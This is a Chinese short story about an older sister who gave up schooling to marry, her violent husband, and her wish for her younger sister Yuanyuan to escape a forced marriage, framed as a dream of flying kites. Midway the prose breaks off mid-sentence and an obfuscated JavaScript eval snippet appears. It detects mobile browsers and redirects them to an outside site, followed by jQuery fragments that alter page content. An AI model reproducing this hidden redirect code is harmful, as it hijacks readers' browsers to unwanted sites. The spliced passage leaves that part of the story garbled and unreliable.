在芬兰的夜晚，我做了一个梦，异国他乡的小屋里我睡梦中梦见了我即将嫁人的前一天，在安陆村的山坡上，那是一方矮矮的土坡，春天的时候，很多小孩子会在田垄上放风筝，有燕子风筝、飞龙风筝各种各样的。


    清晨，曦光微亮，我拉着圆圆的手，那个时候她太小了，不过才四五岁的样子，这个年纪的孩子已经能清晰地说话，她叫我——‘姐姐’。


    我回应她，和她一起站到坡顶，放家里库房压着的一只紫底黑描边的燕子风筝。


    风筝的手柄是木头的，微微发黑，细细去看，上面还有细微的纹路，自打我有记忆来，这只风筝就在库房里放着，我每隔几年就会放风筝，说不清为什么，只是让它变成了一个习惯，不想它落灰。


    圆圆看见风筝飞得很高，拍着手说，“飞得好高——姐姐，再飞高一点——”


    于是，我把风筝飞得更高一点，过去总害怕收不回风筝害风筝丢掉被爸妈责怪，这天我却让它飞得更高更高，直到变成一个遥远的点。


    我没上高中这件事，我没有特别地想哭，考了高中就要考大学，一直在花钱，以我这样的家庭是不行的，我最好能考上中专，毕业可以分配工作，但我没考上，和其他大多数的农村女孩一样，既然这样，那就该考虑嫁人，而不是再留在家里给爸妈造成负担。


    我很想去我考上的高中，但是承志他上学也需要花钱，这种匮乏是共通的，不是埋怨几句，这个家庭就能得到改变。


    “姐姐好高啊——”


    我蹲下身，笑着拉她的小手过来握手柄，她笑咯咯地去拿，使劲地往回拽。


    “收线要慢慢回收，别着急，拿紧手柄——有姐姐呢——”


    我和圆圆一起往回收风筝，她几乎后跌坐在我腿上，使出吃奶的力气往回收。


    眼见风筝逐渐被拉回，一阵劲风，风筝线断，消失得无影无踪，只剩下手柄。


    圆圆慌了神，“姐姐，风筝、丢了，我们、怎么办啊？”


    很快，一场春雨过来，我抱起她往家里走，将她手里的手柄扔进不起眼的田垄，“没事，我们就当没出来过——”


    圆圆大大的眼睛里充满忧虑，“姐，万一被发现是我们怎么办？”


    噢，我出来放风筝，都是偷偷拿库房里的这个现成风筝。


    我打包票和她说，“不会发现，就算发现的话，只是姐姐做的，我们拉钩，谁也不说——”


    圆圆眼睛亮了亮，腼腆地伸出小手和我拉钩，“一百年不许变，谁变谁是小猪——”


    我笑着拉钩，时光结束在这天。


    梦断断续续，又来到我嫁去了麦家村后。


    麦家村有三姨住着，我从小就熟悉她，她对我很好，盲婚哑嫁的不幸福，父母安排的弊处后知后觉地感知到，我的人生已经尘埃落定，无论去哪里，我都是‘麦家媳妇’。


    我无数次回想，不，当时我应该去上学，无论如何，哪怕哭，哪怕伤害自己，我也要要求自己去上学，只要去了，我的人生才会有转机，而不是落成现在的样子，无可挽回的后悔样子。


    三姨是个命苦人，她的丈夫人到中年出轨，在村里闹得严重，她要和她丈夫拼命，后来她男人外出务工，撇下她和她的两个儿子。


    村子里的事情总是一地鸡毛，糟心的事情层出不穷。


    圆圆是一个清晨来找我的，那个时候我已经和家里断亲很久，我的不幸来自于他们，我已经付出了我的价值，压抑了我的不满，可我无法绕过自己的内心，不愿意回去。


    她说——哥哥许承志要娶媳妇，爸妈决定让她辍学回家结婚。


    她是上了高中的，那个时候中专的分配已经消失，能考上高中的人，参加高考，是一个大学生，以后会成为十里八乡的胜谈。


    听到这个消息的时候，我多么不敢置信，他们怎么能、怎么能牺牲一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213764|193574||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个女儿也不够，还要碾轧家里最后的希望呢？为什么？


    因为愚蠢吗？不，他们聪明到算计当前的每一分利益，却算不到更久远的利益，他们在乎当下收割麦苗的得到，却不在乎她的季节来没到来，等她成长后，她会是多么的有力量。


    我忽然明白，无论我是长女，还是小妹，都最终桎梏于他们的狭隘、自私产生的掣肘。


    崩溃的情绪滋长，我翻出自己的结婚戒指、项链，将它们通通给圆圆，攥紧她的肩膀，“圆圆，离开这里吧，你去大城市，不要回来了，如果一定要回来，你要去读完书，你要变成一个更聪明的人，你要去见更大的世界，好吗？”


    圆圆泪眼朦胧，“嗯，姐姐，我知道了——”


    “等我变得更有钱了，我会回来看你的——我会多读书，会出人头地——”


    我露出了笑容，同她挥手告别。


    夜晚降临，又是醉醺醺的麦光明回来，吐了一地，开始夹枪带棒地咒骂我，为什么不给他倒水喝。


    我麻木地倒了水给他，他又站起身乱走乱动，把本就脏污的地面变得更脏乱。


    已经习以为常，我希望他醉得更多一点，直接倒头就睡是更好的，过去嫁过来这几年想到过离婚，他的拳头很硬，我知道那是什么滋味，但是村里没有好女人提离婚这件事，就算离婚，回了家也不过是嫁给别人，嫁去外地，不知道相处几年又是什么样的人前一套背后一套。


    我不走，我要在这里，等圆圆回来。


    等到那个春天，我们可以一起牵着手还去安陆村的山坡上放风筝，不仅可以放燕子风筝，还可以放天鹅、飞鱼。


    ——


    梦的结尾，我真的看见长大成人的圆圆拉着我的手，说——“姐姐，我们一起放风筝去！”


    我低下头看见我的另一只手拿着飞鱼风筝，色彩绚丽。


    笑颜绽开在眉眼，我点点头，“好——”。